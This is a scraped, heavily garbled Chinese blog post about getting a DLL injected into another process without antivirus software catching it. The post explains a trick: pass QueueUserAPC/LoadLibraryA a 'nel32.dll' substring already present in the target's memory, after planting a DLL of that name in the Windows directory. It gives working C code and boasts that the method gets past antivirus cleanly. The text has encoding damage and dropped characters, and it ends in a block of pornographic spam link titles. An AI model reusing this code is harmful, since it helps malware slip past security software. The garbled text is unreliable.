• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理
            數(shù)殺軟都hook NtWriteVirtualMemoryNtUserSetWindowsHookAW、NtUserSetWindowsHookE防止代碼注入。

              關(guān)于代碼注入Ring3層有:

              l 遠(yuǎn)程線程CreateRemoteThread

              l 消息鉤子SetWindowsHookEx

              l Ring3 APC QueueUserApc

              l 修改線程文SetContextThread

              其第三種傳入個(gè)param,但求這個(gè)param必須目標(biāo)進(jìn)程存空間,比較笨重,直接目標(biāo)進(jìn)程VirtualAllocEx存,然希望參數(shù)入這個(gè)存,使WriteProcessMemory函數(shù),而這個(gè)函數(shù)被hook,所以殺軟容易攔截代碼注入行

              仔細(xì)想想,殺軟這種防御失敗!原因個(gè)param,攻擊完全沒有必做這么動(dòng)作去目標(biāo)進(jìn)程存空間申存并存,思考以不WriteProcessMemory函數(shù)呢?反個(gè)合理param,并且這個(gè)param目標(biāo)進(jìn)程存空間即

              思考,原這么容易啊,哈哈!樂半天~~~

              舉個(gè)例子:假設(shè)這樣注入

              QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;

              想讓param個(gè)“xxx.dll”,就,而且求這個(gè)param目標(biāo)進(jìn)程存空間

              您想么?哈哈

              答案:直接目標(biāo)進(jìn)程搜索個(gè)這樣字符串“nel32.dll”就以啦!因“kernel32.dll” 這樣字符串定存,那么“kernel32.dll” 不樣,那就隨便使“nel32.dll”,或“el32.dll”,都啊!最往windows目錄面撂進(jìn)入個(gè)nel32.dll,這樣注入部分殺軟都不能攔截!哈哈!

              段程序,做個(gè)試驗(yàn),僅測試趨勢(shì),完美繞過!其實(shí)殺軟稍測試。。。

            DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
            {
            TIDLIST *pCurrentTid = pThreadIdList ;
            const char szInjectModName[] = "nel32.dll";
            DWORD dwLen = strlen(szInjectModName) ;
              
            //////////////////////////////////////////////////////////////////////////
            //不目標(biāo)進(jìn)程
            //直接目標(biāo)進(jìn)程搜索出 nel32.dll 這樣字符串 并注入
            //////////////////////////////////////////////////////////////////////////
            int bufflen=30000;
            char *buffer=(char *)malloc(sizeof(char)*bufflen);
            DWORD dwNumberOfBytesRead;
            DWORD defaultAddress;
            //獲得該進(jìn)程基址
            HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;
            if(!hSnapshot)
            {
              printf("CreateToolhelp32Snapshot error!n");
              return 0;
            }
            MODULEENTRY32 me = { sizeof(me) };
              BOOL fOk =Module32First(hSnapshot,&me);
            if(!fOk)
            {
              printf("Module32First error!n");
              return 0;
            }
              for (; fOk; fOk = Module32Next(hSnapshot,&me))
              {
              printf("%s process module name = %sn",processName,me.szModule);
                // 得進(jìn)程模塊基址
              if(stricmp(me.szModule,processName)==0)
              {
              defaultAddress=(DWORD)me.modBaseAddr;
              printf("%s process module base = 0x%08Xn",processName,defaultAddress);
              break;
              }
              }
            //搜索
            if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
            {
              printf("ReadProcessMemory error!n");
              return 0;
            }
            for(int i=0;i<bufflen-dwLen;i++)
            {
              if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
              {
              printf("found nel32.dll already!... %sn",buffer+i);
              while (pCurrentTid)
              {
               HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
              
               if (hThread != NULL)
               {
               //
               // 注入DLL指定進(jìn)程
               //
               QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
               }
              
               printf("TID:%dn", pCurrentTid->dwTid) ;
               pCurrentTid = pCurrentTid->pNext ;
              }
              break;
              }
            }
              
            return 0 ;
            }

            狠狠色婷婷久久综合频道日韩 | 亚洲∧v久久久无码精品| 久久一本综合| AA级片免费看视频久久| 久久久WWW成人免费精品| 久久99久久无码毛片一区二区 | 久久96国产精品久久久| 精品国产日韩久久亚洲| 久久w5ww成w人免费| 国产综合精品久久亚洲| 久久SE精品一区二区| 激情久久久久久久久久| 久久婷婷五月综合成人D啪| 精品久久久久久久久午夜福利| 久久99国产精一区二区三区| 久久www免费人成看国产片| 区久久AAA片69亚洲| 久久国产精品无码网站| 久久亚洲春色中文字幕久久久| 99精品久久久久久久婷婷| 中文字幕亚洲综合久久2| 久久亚洲国产精品一区二区| 久久婷婷成人综合色综合| 久久久久久青草大香综合精品| 国内精品伊人久久久久av一坑| 一级做a爰片久久毛片看看| www性久久久com| 亚洲中文字幕无码一久久区| 亚洲欧美久久久久9999| 久久噜噜久久久精品66| 一本久久久久久久| 婷婷综合久久狠狠色99h| 国产99久久精品一区二区| 久久精品一区二区| 久久福利青草精品资源站| 久久综合噜噜激激的五月天| 伊人久久大香线蕉综合Av | 久久久91人妻无码精品蜜桃HD| 激情综合色综合久久综合| 日本精品一区二区久久久| 精品无码久久久久久久动漫|